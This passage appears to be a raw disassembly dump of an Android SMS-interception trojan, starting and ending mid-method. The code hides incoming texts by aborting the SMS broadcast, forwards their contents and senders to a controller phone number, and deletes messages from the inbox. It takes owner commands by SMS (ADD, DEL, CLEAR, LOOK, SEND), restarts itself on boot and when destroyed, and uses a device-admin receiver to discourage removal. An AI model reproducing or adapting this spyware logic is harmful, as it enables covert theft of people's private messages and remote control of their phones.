00000092  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v0, v3, v4, v5
00000098  move-result             v3
0000009A  sget-object             v4, a->a:Uri
0000009E  new-instance            v5, StringBuilder
000000A2  const-string            v6, "_id="
000000A6  invoke-direct           StringBuilder-><init>(String)V, v5, v6
000000AC  invoke-virtual          StringBuilder->append(I)StringBuilder, v5, v2
000000B2  move-result-object      v2
000000B4  invoke-virtual          StringBuilder->toString()String, v2
000000BA  move-result-object      v2
000000BC  const/4                 v5, 0x0
000000BE  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v0, v4, v2, v5
000000C4  move-result             v0
000000C6  if-eq                   v3, v7, :CE
:CA
000000CA  if-ne                   v0, v7, :DE
:CE
000000CE  invoke-static           a->a(Context)a, p0
000000D4  move-result-object      v0
000000D6  const/4                 v2, 0x1
000000D8  invoke-virtual          a->d(Z)V, v0, v2
:DE
000000DE  invoke-interface        Cursor->close()V, v1
:E4
000000E4  return-void
:E6
000000E6  move-exception          v0
000000E8  goto                    :E4
          .catch Exception {:34 .. :E4} :E6
.end method

.method public static a(String, I, Context)V
          .registers 10
00000000  const-string            v0, ""
00000004  packed-switch           p1, :C8
:A
0000000A  new-instance            v1, StringBuilder
0000000E  invoke-static           String->valueOf(Object)String, p0
00000014  move-result-object      v2
00000016  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000001C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
00000022  move-result-object      v0
00000024  invoke-virtual          StringBuilder->toString()String, v0
0000002A  move-result-object      v3
:2C
0000002C  invoke-static           SmsManager->getDefault()SmsManager
00000032  move-result-object      v0
00000034  invoke-virtual          String->length()I, v3
0000003A  move-result             v1
0000003C  const/16                v2, 0x46
00000040  if-le                   v1, v2, :A8
:44
00000044  invoke-virtual          SmsManager->divideMessage(String)ArrayList, v0, v3
0000004A  move-result-object      v1
0000004C  invoke-virtual          ArrayList->iterator()Iterator, v1
00000052  move-result-object      v6
:54
00000054  invoke-interface        Iterator->hasNext()Z, v6
:5A
0000005A  move-result             v1
0000005C  if-nez                  v1, :74
:60
00000060  return-void
:62
00000062  const-string            v0, "\n短信删除:成功"
00000066  goto                    :A
:68
00000068  const-string            v0, "\n短信删除:失败"
0000006C  goto                    :A
:6E
0000006E  const-string            v0, ""
00000072  goto                    :A
:74
00000074  invoke-interface        Iterator->next()Object, v6
0000007A  move-result-object      v3
0000007C  check-cast              v3, String
00000080  invoke-static           a->a(Context)a, p2
00000086  move-result-object      v1
00000088  invoke-virtual          a->c()String, v1
0000008E  move-result-object      v1
00000090  const/4                 v2, 0x0
00000092  const/4                 v4, 0x0
00000094  const/4                 v5, 0x0
00000096  invoke-virtual/range    SmsManager->sendTextMessage(String, String, String, PendingIntent, PendingIntent)V, v0 .. v5
:9C
0000009C  goto                    :54
:9E
0000009E  move-exception          v0
000000A0  invoke-virtual          Exception->printStackTrace()V, v0
000000A6  goto                    :60
:A8
000000A8  invoke-static           a->a(Context)a, p2
000000AE  move-result-object      v1
000000B0  invoke-virtual          a->c()String, v1
000000B6  move-result-object      v1
000000B8  const/4                 v2, 0x0
000000BA  const/4                 v4, 0x0
000000BC  const/4                 v5, 0x0
000000BE  invoke-virtual/range    SmsManager->sendTextMessage(String, String, String, PendingIntent, PendingIntent)V, v0 .. v5
:C4
000000C4  goto                    :60
          .catch Exception {:2C .. :5A} :9E
          .catch Exception {:74 .. :9C} :9E
          .catch Exception {:A8 .. :C4} :9E
000000C8  .packed-switch 0x1
              :62
              :68
              :A
              :6E
          .end packed-switch
.end method

.method public static a(String, String, Context)V
          .registers 9
00000000  const/4                 v2, 0x0
00000002  invoke-static           SmsManager->getDefault()SmsManager
00000008  move-result-object      v0
0000000A  invoke-virtual          SmsManager->divideMessage(String)ArrayList, v0, p1
00000010  move-result-object      v3
00000012  move-object             v1, p0
00000014  move-object             v4, v2
00000016  move-object             v5, v2
00000018  invoke-virtual/range    SmsManager->sendMultipartTextMessage(String, String, ArrayList, ArrayList, ArrayList)V, v0 .. v5
0000001E  return-void
.end method

#--------------------------------------------------------------------------------
.class public BootReceiver
.super BroadcastReceiver
.source ""

.field public static a:Z

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput-boolean            v0, BootReceiver->a:Z
00000006  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           BroadcastReceiver-><init>()V, p0
00000006  return-void
.end method

.method public static a(Context, String)Z
          .registers 7
00000000  const/4                 v1, 0x0
00000002  const-string            v0, "activity"
00000006  invoke-virtual          Context->getSystemService(String)Object, p0, v0
0000000C  move-result-object      v0
0000000E  check-cast              v0, ActivityManager
00000012  const/16                v2, 0x28
00000016  invoke-virtual          ActivityManager->getRunningServices(I)List, v0, v2
0000001C  move-result-object      v3
0000001E  invoke-interface        List->size()I, v3
00000024  move-result             v4
00000026  move                    v2, v1
:28
00000028  if-lt                   v2, v4, :30
:2C
0000002C  move                    v0, v1
:2E
0000002E  return                  v0
:30
00000030  invoke-interface        List->get(I)Object, v3, v2
00000036  move-result-object      v0
00000038  check-cast              v0, ActivityManager$RunningServiceInfo
0000003C  iget-object             v0, v0, ActivityManager$RunningServiceInfo->service:ComponentName
00000040  invoke-virtual          ComponentName->getClassName()String, v0
00000046  move-result-object      v0
00000048  invoke-virtual          String->equals(Object)Z, v0, p1
0000004E  move-result             v0
00000050  if-eqz                  v0, :58
:54
00000054  const/4                 v0, 0x1
00000056  goto                    :2E
:58
00000058  add-int/lit8            v0, v2, 0x1
0000005C  move                    v2, v0
0000005E  goto                    :28
.end method

.method public onReceive(Context, Intent)V
          .registers 5
00000000  const-string            v0, "com.phone.stop.service.BootService"
00000004  invoke-static           BootReceiver->a(Context, String)Z, p1, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :2E
:10
00000010  new-instance            v0, Intent
00000014  const-class             v1, BootService
00000018  invoke-direct           Intent-><init>(Context, Class)V, v0, p1, v1
0000001E  const/high16            v1, 0x10000000
00000022  invoke-virtual          Intent->addFlags(I)Intent, v0, v1
00000028  invoke-virtual          Context->startService(Intent)ComponentName, p1, v0
:2E
0000002E  return-void
.end method

#--------------------------------------------------------------------------------
.class public MyDeviceAdminReceiver
.super DeviceAdminReceiver
.source ""

.field private final a:String

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           DeviceAdminReceiver-><init>()V, p0
00000006  const-string            v0, "Ray"
0000000A  iput-object             v0, p0, MyDeviceAdminReceiver->a:String
0000000E  return-void
.end method

.method private a(Context, Intent)V
          .registers 6
00000000  invoke-virtual          Context->getPackageManager()PackageManager, p1
00000006  move-result-object      v0
00000008  const-string            v1, "com.android.settings"
0000000C  invoke-virtual          PackageManager->getLaunchIntentForPackage(String)Intent, v0, v1
00000012  move-result-object      v0
00000014  const/high16            v1, 0x10000000
00000018  invoke-virtual          Intent->setFlags(I)Intent, v0, v1
0000001E  invoke-virtual          Context->startActivity(Intent)V, p1, v0
00000024  const/4                 v0, 0x0
:26
00000026  const/4                 v1, 0x4
00000028  if-lt                   v0, v1, :2E
:2C
0000002C  return-void
:2E
0000002E  const-wide/16           v1, 0xBB8
:32
00000032  invoke-static           Thread->sleep(J)V, v1, v2
:38
00000038  add-int/lit8            v0, v0, 0x1
0000003C  goto                    :26
:3E
0000003E  move-exception          v0
00000040  invoke-virtual          InterruptedException->printStackTrace()V, v0
00000046  goto                    :2C
          .catch InterruptedException {:32 .. :38} :3E
.end method

.method public onDisableRequested(Context, Intent)CharSequence
          .registers 5
00000000  invoke-direct           MyDeviceAdminReceiver->a(Context, Intent)V, p0, p1, p2
00000006  const-string            v0, "Ray"
0000000A  const-string            v1, "onDisableRequested"
0000000E  invoke-static           Log->i(String, String)I, v0, v1
00000014  const-string            v0, "谨慎操作!取消激活可能会影响手机正常使用。"
00000018  return-object           v0
.end method

.method public onDisabled(Context, Intent)V
          .registers 5
00000000  const-string            v0, "Ray"
00000004  const-string            v1, "onDisabled"
00000008  invoke-static           Log->i(String, String)I, v0, v1
0000000E  return-void
.end method

.method public onEnabled(Context, Intent)V
          .registers 5
00000000  const-string            v0, "Ray"
00000004  const-string            v1, "onEnabled"
00000008  invoke-static           Log->i(String, String)I, v0, v1
0000000E  return-void
.end method

.method public onReceive(Context, Intent)V
          .registers 5
00000000  invoke-super            DeviceAdminReceiver->onReceive(Context, Intent)V, p0, p1, p2
00000006  const-string            v0, "Ray"
0000000A  const-string            v1, "onReceive"
0000000E  invoke-static           Log->i(String, String)I, v0, v1
00000014  return-void
.end method

#--------------------------------------------------------------------------------
.class public SMSReceiver
.super BroadcastReceiver
.source ""

.field private a:Context
.field private final b:I
.field private c:Z

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           BroadcastReceiver-><init>()V, p0
00000006  const/4                 v0, 0x1
00000008  iput                    v0, p0, SMSReceiver->b:I
0000000C  const/4                 v0, 0x0
0000000E  iput-boolean            v0, p0, SMSReceiver->c:Z
00000012  return-void
.end method

.method private a(Intent)V
          .registers 12
00000000  const/4                 v4, 0x0
00000002  invoke-virtual          Intent->getExtras()Bundle, p1
00000008  move-result-object      v0
0000000A  new-instance            v6, StringBuffer
0000000E  invoke-direct           StringBuffer-><init>()V, v6
00000014  const-string            v3, ""
00000018  const-string            v2, ""
0000001C  if-eqz                  v0, :124
:20
00000020  const-string            v1, "pdus"
00000024  invoke-virtual          Bundle->get(String)Object, v0, v1
0000002A  move-result-object      v0
0000002C  check-cast              v0, [Object
00000030  array-length            v1, v0
00000032  new-array               v7, v1, [SmsMessage
00000036  array-length            v8, v0
00000038  move                    v5, v4
:3A
0000003A  if-lt                   v5, v8, :C0
:3E
0000003E  array-length            v5, v7
00000040  move-object             v0, v2
00000042  move-object             v1, v3
00000044  move                    v2, v4
:46
00000046  if-lt                   v2, v5, :DC
:4A
0000004A  invoke-virtual          SMSReceiver->abortBroadcast()V, p0
00000050  invoke-virtual          StringBuffer->toString()String, v6
00000056  move-result-object      v2
00000058  invoke-direct           SMSReceiver->a(String, String, String)V, p0, v1, v2, v0
0000005E  iget-object             v0, p0, SMSReceiver->a:Context
00000062  new-instance            v3, StringBuilder
00000066  invoke-static           String->valueOf(Object)String, v2
0000006C  move-result-object      v2
0000006E  invoke-direct           StringBuilder-><init>(String)V, v3, v2
00000074  const-string            v2, "<br>"
00000078  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v2
0000007E  move-result-object      v2
00000080  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000086  move-result-object      v1
00000088  const-string            v2, "<br><br><br>"
0000008C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000092  move-result-object      v1
00000094  invoke-static           j->a()String
0000009A  move-result-object      v2
0000009C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000A2  move-result-object      v1
000000A4  const-string            v2, "-----------------广播<"
000000A8  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000AE  move-result-object      v1
000000B0  invoke-virtual          StringBuilder->toString()String, v1
000000B6  move-result-object      v1
000000B8  invoke-static           d->a(Context, String)V, v0, v1
000000BE  return-void
:C0
000000C0  aget-object             v1, v0, v5
000000C4  check-cast              v1, [B
000000C8  invoke-static           SmsMessage->createFromPdu([B)SmsMessage, v1
000000CE  move-result-object      v1
000000D0  aput-object             v1, v7, v5
000000D4  add-int/lit8            v1, v5, 0x1
000000D8  move                    v5, v1
000000DA  goto                    :3A
:DC
000000DC  aget-object             v0, v7, v2
000000E0  invoke-virtual          SmsMessage->getDisplayOriginatingAddress()String, v0
000000E6  move-result-object      v3
000000E8  invoke-virtual          SmsMessage->getMessageBody()String, v0
000000EE  move-result-object      v4
000000F0  new-instance            v1, StringBuilder
000000F4  invoke-virtual          SmsMessage->getTimestampMillis()J, v0
000000FA  move-result-wide        v8
000000FC  invoke-static           String->valueOf(J)String, v8, v9
00000102  move-result-object      v0
00000104  invoke-direct           StringBuilder-><init>(String)V, v1, v0
0000010A  invoke-virtual          StringBuilder->toString()String, v1
00000110  move-result-object      v1
00000112  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, v4
00000118  add-int/lit8            v0, v2, 0x1
0000011C  move                    v2, v0
0000011E  move-object             v0, v1
00000120  move-object             v1, v3
00000122  goto                    :46
:124
00000124  move-object             v0, v2
00000126  move-object             v1, v3
00000128  goto                    :4A
.end method

.method private a(String, String, String)V
          .registers 6
00000000  iget-object             v0, p0, SMSReceiver->a:Context
00000004  invoke-static           a->a(Context)a, v0
0000000A  move-result-object      v0
0000000C  invoke-virtual          a->c()String, v0
00000012  move-result-object      v0
00000014  const-string            v1, "123"
00000018  invoke-virtual          String->contains(CharSequence)Z, v0, v1
0000001E  move-result             v1
00000020  if-nez                  v1, :26
:24
00000024  return-void
:26
00000026  invoke-direct           SMSReceiver->a(String, String)Z, p0, p1, p2
0000002C  move-result             v1
0000002E  if-nez                  v1, :24
:32
00000032  iget-object             v1, p0, SMSReceiver->a:Context
00000036  invoke-static           a->a(Context)a, v1
0000003C  move-result-object      v1
0000003E  invoke-virtual          a->g()I, v1
00000044  move-result             v1
00000046  packed-switch           v1, :68
:4C
0000004C  goto                    :24
:4E
0000004E  invoke-direct           SMSReceiver->b(String, String, String)V, p0, p1, p2, p3
00000054  goto                    :24
:56
00000056  invoke-virtual          SMSReceiver->clearAbortBroadcast()V, p0
0000005C  goto                    :24
:5E
0000005E  invoke-direct           SMSReceiver->c(String, String, String)V, p0, v0, p2, p3
00000064  goto                    :24
00000068  .packed-switch 0x1
              :4E
              :5E
              :56
          .end packed-switch
.end method

.method private a(String, String)Z
          .registers 10
00000000  const/4                 v6, 0x4
00000002  const/4                 v5, 0x2
00000004  const/4                 v1, 0x0
00000006  const/4                 v0, 0x1
00000008  iget-object             v2, p0, SMSReceiver->a:Context
0000000C  invoke-static           a->a(Context)a, v2
00000012  move-result-object      v2
00000014  invoke-virtual          a->c()String, v2
0000001A  move-result-object      v2
0000001C  invoke-virtual          String->contains(CharSequence)Z, p1, v2
00000022  move-result             v2
00000024  if-eqz                  v2, :226
:28
00000028  const-string            v2, "------------------ 是主人----------------------"
0000002C  invoke-static           g->a(String)V, v2
00000032  invoke-virtual          SMSReceiver->a(String)V, p0, p2
00000038  const-string            v2, " "
0000003C  invoke-virtual          String->split(String)[String, p2, v2
00000042  move-result-object      v2
00000044  aget-object             v3, v2, v1
00000048  const-string            v4, "LJ"
0000004C  invoke-virtual          String->equals(Object)Z, v3, v4
00000052  move-result             v3
00000054  if-eqz                  v3, :D2
:58
00000058  aget-object             v1, v2, v0
0000005C  const-string            v3, "ALL"
00000060  invoke-virtual          String->equals(Object)Z, v1, v3
00000066  move-result             v1
00000068  if-eqz                  v1, :80
:6C
0000006C  iget-object             v1, p0, SMSReceiver->a:Context
00000070  invoke-static           a->a(Context)a, v1
00000076  move-result-object      v1
00000078  invoke-virtual          a->a(I)V, v1, v0
:7E
0000007E  return                  v0
:80
00000080  aget-object             v1, v2, v0
00000084  const-string            v3, "SOME"
00000088  invoke-virtual          String->equals(Object)Z, v1, v3
0000008E  move-result             v1
00000090  if-eqz                  v1, :A8
:94
00000094  iget-object             v1, p0, SMSReceiver->a:Context
00000098  invoke-static           a->a(Context)a, v1
0000009E  move-result-object      v1
000000A0  invoke-virtual          a->a(I)V, v1, v5
000000A6  goto                    :7E
:A8
000000A8  aget-object             v1, v2, v0
000000AC  const-string            v2, "NO"
000000B0  invoke-virtual          String->equals(Object)Z, v1, v2
000000B6  move-result             v1
000000B8  if-eqz                  v1, :7E
:BC
000000BC  iget-object             v1, p0, SMSReceiver->a:Context
000000C0  invoke-static           a->a(Context)a, v1
000000C6  move-result-object      v1
000000C8  const/4                 v2, 0x3
000000CA  invoke-virtual          a->a(I)V, v1, v2
000000D0  goto                    :7E
:D2
000000D2  aget-object             v3, v2, v1
000000D6  const-string            v4, "ADD"
000000DA  invoke-virtual          String->equals(Object)Z, v3, v4
000000E0  move-result             v3
000000E2  if-eqz                  v3, :100
:E6
000000E6  new-instance            v1, c
000000EA  invoke-direct           c-><init>()V, v1
000000F0  aget-object             v2, v2, v0
000000F4  iput-object             v2, v1, c->c:String
000000F8  invoke-static           b->a(c)Z, v1
000000FE  goto                    :7E
:100
00000100  aget-object             v3, v2, v1
00000104  const-string            v4, "DEL"
00000108  invoke-virtual          String->equals(Object)Z, v3, v4
0000010E  move-result             v3
00000110  if-eqz                  v3, :120
:114
00000114  aget-object             v1, v2, v0
00000118  invoke-static           b->a(String)Z, v1
0000011E  goto                    :7E
:120
00000120  aget-object             v3, v2, v1
00000124  const-string            v4, "CLEAR"
00000128  invoke-virtual          String->equals(Object)Z, v3, v4
0000012E  move-result             v3
00000130  if-eqz                  v3, :160
:134
00000134  aget-object             v1, v2, v0
00000138  const-string            v3, "ALL"
0000013C  invoke-virtual          String->equals(Object)Z, v1, v3
00000142  move-result             v1
00000144  if-eqz                  v1, :150
:148
00000148  invoke-static           b->a()Z
0000014E  goto                    :7E
:150
00000150  aget-object             v1, v2, v0
00000154  const-string            v2, "MESSAGE"
00000158  invoke-virtual          String->equals(Object)Z, v1, v2
0000015E  goto                    :7E
:160
00000160  aget-object             v3, v2, v1
00000164  const-string            v4, "LOOK"
00000168  invoke-virtual          String->equals(Object)Z, v3, v4
0000016E  move-result             v3
00000170  if-eqz                  v3, :1F2
:174
00000174  aget-object             v1, v2, v0
00000178  const-string            v3, "TIME"
0000017C  invoke-virtual          String->equals(Object)Z, v1, v3
00000182  move-result             v1
00000184  if-eqz                  v1, :1C8
:188
00000188  new-instance            v1, StringBuilder
0000018C  const-string            v2, "到期时间:"
00000190  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000196  iget-object             v2, p0, SMSReceiver->a:Context
0000019A  invoke-static           a->a(Context)a, v2
000001A0  move-result-object      v2
000001A2  invoke-virtual          a->e()String, v2
000001A8  move-result-object      v2
000001AA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000001B0  move-result-object      v1
000001B2  invoke-virtual          StringBuilder->toString()String, v1
000001B8  move-result-object      v1
000001BA  iget-object             v2, p0, SMSReceiver->a:Context
000001BE  invoke-static           k->a(String, I, Context)V, v1, v6, v2
000001C4  goto/16                 :7E
:1C8
000001C8  aget-object             v1, v2, v0
000001CC  const-string            v2, "PHONE"
000001D0  invoke-virtual          String->equals(Object)Z, v1, v2
000001D6  move-result             v1
000001D8  if-eqz                  v1, :7E
:1DC
000001DC  invoke-static           j->a()String
000001E2  move-result-object      v1
000001E4  iget-object             v2, p0, SMSReceiver->a:Context
000001E8  invoke-static           k->a(String, I, Context)V, v1, v6, v2
000001EE  goto/16                 :7E
:1F2
000001F2  aget-object             v1, v2, v1
000001F6  const-string            v3, "SEND"
000001FA  invoke-virtual          String->equals(Object)Z, v1, v3
00000200  move-result             v1
00000202  if-eqz                  v1, :7E
:206
00000206  const/4                 v1, 0x1
:208
00000208  aget-object             v1, v2, v1
0000020C  const/4                 v3, 0x2
0000020E  aget-object             v2, v2, v3
00000212  iget-object             v3, p0, SMSReceiver->a:Context
00000216  invoke-static           k->a(String, String, Context)V, v1, v2, v3
:21C
0000021C  goto/16                 :7E
:220
00000220  move-exception          v1
00000222  goto/16                 :7E
:226
00000226  move                    v0, v1
00000228  goto/16                 :7E
          .catch Exception {:208 .. :21C} :220
.end method

.method private b(String, String, String)V
          .registers 7
00000000  invoke-virtual          SMSReceiver->a(String)V, p0, p2
00000006  new-instance            v0, StringBuilder
0000000A  invoke-static           String->valueOf(Object)String, p2
00000010  move-result-object      v1
00000012  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000018  const-string            v1, "\n来自:"
0000001C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000022  move-result-object      v0
00000024  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
0000002A  move-result-object      v0
0000002C  invoke-virtual          StringBuilder->toString()String, v0
00000032  move-result-object      v0
00000034  const/4                 v1, 0x4
00000036  iget-object             v2, p0, SMSReceiver->a:Context
0000003A  invoke-static           k->a(String, I, Context)V, v0, v1, v2
00000040  return-void
.end method

.method private c(String, String, String)V
          .registers 7
00000000  invoke-static           b->b()ArrayList
00000006  move-result-object      v0
00000008  invoke-virtual          ArrayList->iterator()Iterator, v0
0000000E  move-result-object      v1
:10
00000010  invoke-interface        Iterator->hasNext()Z, v1
00000016  move-result             v0
00000018  if-nez                  v0, :1E
:1C
0000001C  return-void
:1E
0000001E  invoke-interface        Iterator->next()Object, v1
00000024  move-result-object      v0
00000026  check-cast              v0, c
0000002A  iget-object             v0, v0, c->c:String
0000002E  invoke-virtual          String->contains(CharSequence)Z, p1, v0
00000034  move-result             v0
00000036  if-eqz                  v0, :10
:3A
0000003A  invoke-virtual          SMSReceiver->a(String)V, p0, p2
00000040  new-instance            v0, StringBuilder
00000044  invoke-static           String->valueOf(Object)String, p2
0000004A  move-result-object      v1
0000004C  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000052  const-string            v1, "\n来自:"
00000056  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000005C  move-result-object      v0
0000005E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000064  move-result-object      v0
00000066  invoke-virtual          StringBuilder->toString()String, v0
0000006C  move-result-object      v0
0000006E  const/4                 v1, 0x4
00000070  iget-object             v2, p0, SMSReceiver->a:Context
00000074  invoke-static           k->a(String, I, Context)V, v0, v1, v2
0000007A  goto                    :1C
.end method

.method public a(String)V
          .registers 6
00000000  const/4                 v3, 0x1
00000002  const/4                 v2, 0x0
00000004  sget-object             v0, Build$VERSION->RELEASE:String
00000008  invoke-static           String->valueOf(Object)String, v0
0000000E  move-result-object      v0
00000010  const-string            v1, "4.3"
00000014  invoke-virtual          String->compareTo(String)I, v0, v1
0000001A  move-result             v0
0000001C  if-ltz                  v0, :68
:20
00000020  iget-boolean            v0, p0, SMSReceiver->c:Z
00000024  if-nez                  v0, :54
:28
00000028  iput-boolean            v3, p0, SMSReceiver->c:Z
0000002C  iget-object             v0, p0, SMSReceiver->a:Context
00000030  invoke-static           d->b(Context, I)V, v0, v2
00000036  iget-object             v0, p0, SMSReceiver->a:Context
0000003A  invoke-static           d->c(Context, I)V, v0, v2
00000040  iget-object             v0, p0, SMSReceiver->a:Context
00000044  invoke-static           d->a(Context, I)V, v0, v2
0000004A  iget-object             v0, p0, SMSReceiver->a:Context
0000004E  invoke-static           d->a(Context, Z)V, v0, v3
:54
00000054  new-instance            v0, h
00000058  invoke-direct           h-><init>()V, v0
0000005E  iget-object             v1, p0, SMSReceiver->a:Context
00000062  invoke-virtual          h->a(Context, String)V, v0, v1, p1
:68
00000068  return-void
.end method

.method public onReceive(Context, Intent)V
          .registers 4
00000000  const-string            v0, " 广播---------------------------------------"
00000004  invoke-static           g->a(String)V, v0
0000000A  iput-object             p1, p0, SMSReceiver->a:Context
0000000E  invoke-direct           SMSReceiver->a(Intent)V, p0, p2
00000014  return-void
.end method

#--------------------------------------------------------------------------------
.class public BootService
.super Service
.source ""

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Service-><init>()V, p0
00000006  return-void
.end method

.method private a()V
          .registers 5
00000000  invoke-virtual          BootService->getContentResolver()ContentResolver, p0
00000006  move-result-object      v0
00000008  new-instance            v1, a
0000000C  new-instance            v2, Handler
00000010  invoke-direct           Handler-><init>()V, v2
00000016  invoke-direct           a-><init>(Context, Handler)V, v1, p0, v2
0000001C  sget-object             v2, a->a:Uri
00000020  const/4                 v3, 0x1
00000022  invoke-virtual          ContentResolver->registerContentObserver(Uri, Z, ContentObserver)V, v0, v2, v3, v1
00000028  return-void
.end method

.method private b()V
          .registers 5
00000000  new-instance            v0, IntentFilter
00000004  invoke-direct           IntentFilter-><init>()V, v0
0000000A  const                   v1, 0x7FFFFFFF
00000010  invoke-virtual          IntentFilter->setPriority(I)V, v0, v1
00000016  const-string            v1, "android.provider.Telephony.SMS_RECEIVED"
0000001A  invoke-virtual          IntentFilter->addAction(String)V, v0, v1
00000020  const-string            v1, "android.provider.Telephony.SMS_RECEIVED_2"
00000024  invoke-virtual          IntentFilter->addAction(String)V, v0, v1
0000002A  new-instance            v1, SMSReceiver
0000002E  invoke-direct           SMSReceiver-><init>()V, v1
00000034  const-string            v2, "android.permission.BROADCAST_SMS"
00000038  const/4                 v3, 0x0
0000003A  invoke-virtual          BootService->registerReceiver(BroadcastReceiver, IntentFilter, String, Handler)Intent, p0, v1, v0, v2, v3
00000040  return-void
.end method

.method public onBind(Intent)IBinder
          .registers 3
00000000  const/4                 v0, 0x0
00000002  return-object           v0
.end method

.method public onCreate()V
          .registers 3
00000000  invoke-super            Service->onCreate()V, p0
00000006  invoke-static           g->a()Z
0000000C  move-result             v0
0000000E  if-eqz                  v0, :24
:12
00000012  invoke-static           a->a(Context)a, p0
00000018  move-result-object      v0
0000001A  const/4                 v1, 0x3
0000001C  invoke-virtual          a->a(I)V, v0, v1
:22
00000022  return-void
:24
00000024  invoke-static           g->a(Context)V, p0
0000002A  invoke-direct           BootService->b()V, p0
00000030  invoke-direct           BootService->a()V, p0
00000036  goto                    :22
.end method

.method public onDestroy()V
          .registers 3
00000000  invoke-super            Service->onDestroy()V, p0
00000006  const/4                 v0, 0x1
00000008  invoke-virtual          BootService->stopForeground(Z)V, p0, v0
0000000E  new-instance            v0, Intent
00000012  invoke-direct           Intent-><init>()V, v0
00000018  const-class             v1, BootService
0000001C  invoke-virtual          Intent->setClass(Context, Class)Intent, v0, p0, v1
00000022  invoke-virtual          BootService->startService(Intent)ComponentName, p0, v0
00000028  return-void
.end method

.method public onStartCommand(Intent, I, I)I
          .registers 9
00000000  new-instance            v0, Notification
00000004  const                   v1, 0x7F020001  # R.drawable.icon
0000000A  const-string            v2, ""
0000000E  invoke-static           System->currentTimeMillis()J
00000014  move-result-wide        v3
00000016  invoke-direct           Notification-><init>(I, CharSequence, J)V, v0, v1, v2, v3, v4
0000001C  new-instance            v1, RemoteViews
00000020  invoke-virtual          BootService->getPackageName()String, p0
00000026  move-result-object      v2
00000028  const/high16            v3, 0x7F030000  # R.layout.activity_aa
0000002C  invoke-direct           RemoteViews-><init>(String, I)V, v1, v2, v3
00000032  iput-object             v1, v0, Notification->contentView:RemoteViews
00000036  const/4                 v1, 0x0
00000038  new-instance            v2, Intent
0000003C  invoke-direct           Intent-><init>()V, v2
00000042  const/high16            v3, 0x10000000
00000046  invoke-static           PendingIntent->getActivity(Context, I, Intent, I)PendingIntent, p0, v1, v2, v3
0000004C  move-result-object      v1
0000004E  iput-object             v1, v0, Notification->contentIntent:PendingIntent
00000052  const/16                v1, 0x159
00000056  invoke-virtual          BootService->startForeground(I, Notification)V, p0, v1, v0
0000005C  const/4                 v0, 0x3
0000005E  invoke-super            Service->onStartCommand(Intent, I, I)I, p0, p1, v0, p3
00000064  move-result             v0
00000066  return                  v0
.end method

#--------------------------------------------------------------------------------
.class LineTokenizer
.super Object
.source ""

.field private static final singles:String = "="
.field private currentPosition:I
.field private maxPosition:I
.field private stack:Vector
.field private str:String

.method public constructor <init>(String)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, Vector
0000000A  invoke-direct           Vector-><init>()V, v0
00000010  iput-object             v0, p0, LineTokenizer->stack:Vector
00000014  const/4                 v0, 0x0
00000016  iput                    v0, p0, LineTokenizer->currentPosition:I
0000001A  iput-object             p1, p0, LineTokenizer->str:String
0000001E  invoke-virtual          String->length()I, p1
00000024  move-result             v0
00000026  iput                    v0, p0, LineTokenizer->maxPosition:I
0000002A  return-void
.end method

.method private skipWhiteSpace()V
          .registers 3
00000000  iget                    v0, p0, LineTokenizer->currentPosition:I
00000004  iget                    v1, p0, LineTokenizer->maxPosition:I
00000008  if-ge                   v0, v1, :28
:C
0000000C  iget-object             v0, p0, LineTokenizer->str:String
00000010  iget                    v1, p0, LineTokenizer->currentPosition:I
00000014  invoke-virtual          String->charAt(I)C, v0, v1
0000001A  move-result             v0
0000001C  invoke-static           Character->isWhitespace(C)Z, v0
00000022  move-result             v0
00000024  if-nez                  v0, :2A
:28
00000028  return-void
:2A
0000002A  iget                    v0, p0, LineTokenizer->currentPosition:I
0000002E  add-int/lit8            v0, v0, 0x1
00000032  iput                    v0, p0, LineTokenizer->currentPosition:I
00000036  goto                    :0
.end method

.method public hasMoreTokens()Z
          .registers 4
00000000  const/4                 v0, 0x1
00000002  iget-object             v1, p0, LineTokenizer->stack:Vector
00000006  invoke-virtual          Vector->size()I, v1
0000000C  move-result             v1
0000000E  if-lez                  v1, :14
:12
00000012  return                  v0
:14
00000014  invoke-direct           LineTokenizer->skipWhiteSpace()V, p0
0000001A  iget                    v1, p0, LineTokenizer->currentPosition:I
0000001E  iget                    v2, p0, LineTokenizer->maxPosition:I
00000022  if-lt                   v1, v2, :12
:26
00000026  const/4                 v0, 0x0
00000028  goto                    :12
.end method

.method public nextToken()String
          .registers 8
00000000  const/16                v6, 0x5C
00000004  const/16                v5, 0x22
00000008  iget-object             v0, p0, LineTokenizer->stack:Vector
0000000C  invoke-virtual          Vector->size()I, v0
00000012  move-result             v1
00000014  if-lez                  v1, :3C
:18
00000018  iget-object             v0, p0, LineTokenizer->stack:Vector
0000001C  add-int/lit8            v2, v1, 0xFFFFFFFFFFFFFFFF
00000020  invoke-virtual          Vector->elementAt(I)Object, v0, v2
00000026  move-result-object      v0
00000028  check-cast              v0, String
0000002C  iget-object             v2, p0, LineTokenizer->stack:Vector
00000030  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000034  invoke-virtual          Vector->removeElementAt(I)V, v2, v1
:3A
0000003A  return-object           v0
:3C
0000003C  invoke-direct           LineTokenizer->skipWhiteSpace()V, p0
